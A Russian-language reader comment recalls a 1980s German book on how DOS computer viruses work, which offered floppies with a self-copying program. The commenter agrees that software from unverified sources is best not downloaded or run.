                                                  Давным-давно, лет 15 назад я заинтересовался вопросом, что же это такое эти ваши вирусы. В сети нашел книгу какого-то немца аж но за 1986 или 1988 год (автора и название к сожалению забыл). В книжке автор как раз описывал базовые принципы создания и работы компьютерных вирусов — если не ошибаюсь то целевая платформа была дос.
                                                  Что интересно угрозы в них никто тогда не видел, и автор даже предлагал (то ли в рамках книги, то ли работы по написанию книги), выслать дискеты с «вирусом», который после запуска создавал надцать копий себя на диске. А ведь прошло совсем не много лет и…
                                                  Так что нельзя не согласиться с автором, что не стоит скачивать и запускать программы из непроверенных источников даже если кажется что все находиться на стадии эксперимента.

                                                  Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                                                  Самое читаемое